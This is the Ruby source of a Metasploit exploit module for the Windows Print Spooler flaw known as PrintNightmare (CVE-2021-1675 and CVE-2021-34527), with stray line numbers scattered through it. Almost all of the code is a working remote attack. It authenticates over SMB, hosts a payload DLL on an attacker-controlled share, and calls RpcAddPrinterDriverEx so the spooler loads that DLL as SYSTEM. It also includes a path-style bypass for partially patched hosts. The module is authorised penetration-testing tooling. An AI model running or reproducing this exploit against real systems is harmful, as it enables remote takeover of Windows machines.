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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
5

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require 'windows_error'
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require 'ruby_smb'
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require 'ruby_smb/error'
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class MetasploitModule < Msf::Exploit::Remote
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client::Authenticated
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  include Msf::Exploit::Remote::SMB::Server::Share
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  include Msf::Exploit::Retry
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Deprecated
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  moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'
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  PrintSystem = RubySMB::Dcerpc::PrintSystem
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Print Spooler Remote DLL Injection',
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        'Description' => %q{
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          The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
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          DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN
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          vector which requires the Print Spooler service to be running.
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        },
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        'Author' => [
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          'Zhiniang Peng',           # vulnerability discovery / research
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          'Xuefeng Li',              # vulnerability discovery / research
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          'Zhipeng Huo',             # vulnerability discovery
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          'Piotr Madej',             # vulnerability discovery
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          'Zhang Yunhai',            # vulnerability discovery
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          'cube0x0',                 # PoC
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          'Spencer McIntyre',        # metasploit module
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          'Christophe De La Fuente', # metasploit module co-author
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        ],
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        'License' => MSF_LICENSE,
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        'DefaultOptions' => {
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          'SRVHOST' => Rex::Socket.source_address
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        },
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        'Stance' => Msf::Exploit::Stance::Aggressive,
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        'Targets' => [
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          [
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            'Windows', {
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              'Platform' => 'win',
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              'Arch' => [ ARCH_X64, ARCH_X86 ]
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            },
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          ],
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        ],
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        'DisclosureDate' => '2021-06-08',
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        'References' => [
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          ['CVE', '2021-1675'],
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          ['CVE', '2021-34527'],
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          ['URL', 'https://github.com/cube0x0/CVE-2021-1675'],
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          ['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],
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          ['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],
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          ['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']
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        ],
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        'Notes' => {
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          'AKA' => [ 'PrintNightmare' ],
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'Reliability' => [UNRELIABLE_SESSION],
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          'SideEffects' => [
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            ARTIFACTS_ON_DISK # the dll will be copied to the remote server
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          ]
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        }
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      )
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    )
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    register_advanced_options(
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      [
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        OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])
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      ]
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    )
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    deregister_options('AutoCheck')
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  end
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  def check
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    begin
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      connect(backend: :ruby_smb)
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    rescue Rex::ConnectionError
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      return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
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    end
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    begin
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      smb_login
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    rescue Rex::Proto::SMB::Exceptions::LoginError
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      return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
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    end
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    begin
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      dcerpc_bind_spoolss
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    rescue RubySMB::Error::UnexpectedStatusCode => e
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      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
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      if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
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        print_error("The 'Print Spooler' service is disabled.")
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      end
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      return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
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    end
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    @target_arch = dcerpc_getarch
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    # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
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    if @target_arch == ARCH_X64
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      @environment = 'Windows x64'
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    elsif @target_arch == ARCH_X86
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      @environment = 'Windows NT x86'
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    else
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      return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
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    end
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    print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")
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    print_status('Enumerating the installed printer drivers...')
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    drivers = enum_printer_drivers(@environment)
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    @driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
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    vprint_status("Using driver path: #{@driver_path}")
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    print_status('Retrieving the path of the printer driver directory...')
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    @config_directory = get_printer_driver_directory(@environment)
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    vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?
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    container = driver_container(
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      p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
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      p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
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    )
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    case add_printer_driver_ex(container)
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    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
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      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
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    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
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      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
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    when ::WindowsError::Win32::ERROR_BAD_NET_NAME
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      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
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    when ::WindowsError::Win32::ERROR_ACCESS_DENIED
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      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
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    end
144

145
    Exploit::CheckCode::Detected('Successfully bound to the remote service.')
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  end
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  def run
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    fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
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    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
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    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
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    super
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  end
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  def setup
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    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
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      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
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    end
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    super
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  end
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  def start_service
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    file_name << '.dll'
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    self.file_contents = generate_payload_dll
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    super
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  end
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  def primer
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    dll_path = unc
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    if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
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      # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
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      # otherwise the operation will fail with ERROR_INVALID_PARAMETER
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      dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"
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    end
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    vprint_status("Using DLL path: #{dll_path}")
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    filename = dll_path.rpartition('\\').last
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    container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)
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    3.times do
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      add_printer_driver_ex(container)
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    end
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    1.upto(3) do |directory|
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      container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")
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      break if add_printer_driver_ex(container).nil?
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    end
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    cleanup_service
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  end
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  def driver_container(**kwargs)
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    PrintSystem::DriverContainer.new(
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      level: 2,
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      tag: 2,
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      driver_info: PrintSystem::DriverInfo2.new(
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        c_version: 3,
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        p_name_ref_id: 0x00020000,
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        p_environment_ref_id: 0x00020004,
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        p_driver_path_ref_id: 0x00020008,
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        p_data_file_ref_id: 0x0002000c,
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        p_config_file_ref_id: 0x00020010,
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        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913
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        p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",
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        p_environment: @environment,
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        p_driver_path: @driver_path,
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        **kwargs
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      )
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    )
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  end
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  def dcerpc_bind_spoolss
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    handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])
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    vprint_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    vprint_status("Bound to #{handle} ...")
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  end
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  def enum_printer_drivers(environment)
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    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
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    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
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    fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
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    DriverInfo2.read(response.p_drivers.map(&:chr).join)
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  end
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  def get_printer_driver_directory(environment)
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    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
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    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
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    fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
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    RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
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  end
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  def add_printer_driver_ex(container)
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    flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES
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239
    begin
240
      response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
241
    rescue RubySMB::Error::UnexpectedStatusCode => e
242
      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
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      message = "Error #{nt_status.name} (#{nt_status.description})"
244
      if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
245
        # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
246
        print_status('The named pipe connection was broken, reconnecting...')
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        reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
248
          dcerpc_bind_spoolss
249
        rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e
250
          false
251
        else
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          true
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        end
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255
        unless reconnected
256
          vprint_status('Failed to reconnect to the named pipe.')
257
          return nil
258
        end
259

260
        print_status('Successfully reconnected to the named pipe.')
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        retry
262
      else
263
        print_error(message)
264
      end
265

266
      return nt_status
267
    end
268

269
    error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
270
    message = "RpcAddPrinterDriverEx response #{response.error_status}"
271
    message << " #{error.name} (#{error.description})" unless error.nil?
272
    vprint_status(message)
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    error
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  end
275

276
  def rprn_call(name, **kwargs)
277
    request = PrintSystem.const_get("#{name}Request").new(**kwargs)
278

279
    begin
280
      raw_response = dcerpc.call(request.opnum, request.to_binary_s)
281
    rescue Rex::Proto::DCERPC::Exceptions::Fault => e
282
      fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
283
    end
284

285
    PrintSystem.const_get("#{name}Response").read(raw_response)
286
  end
287

288
  class DriverInfo2Header < BinData::Record
289
    endian :little
290

291
    uint32     :c_version
292
    uint32     :name_offset
293
    uint32     :environment_offset
294
    uint32     :driver_path_offset
295
    uint32     :data_file_offset
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    uint32     :config_file_offset
297
  end
298

299
  # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2
300
  # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
301
  DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do
302
    def self.read(data)
303
      header = DriverInfo2Header.read(data)
304
      new(
305
        header,
306
        RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),
307
        RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),
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        RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),
309
        RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),
310
        RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')
311
      )
312
    end
313
  end
314
end
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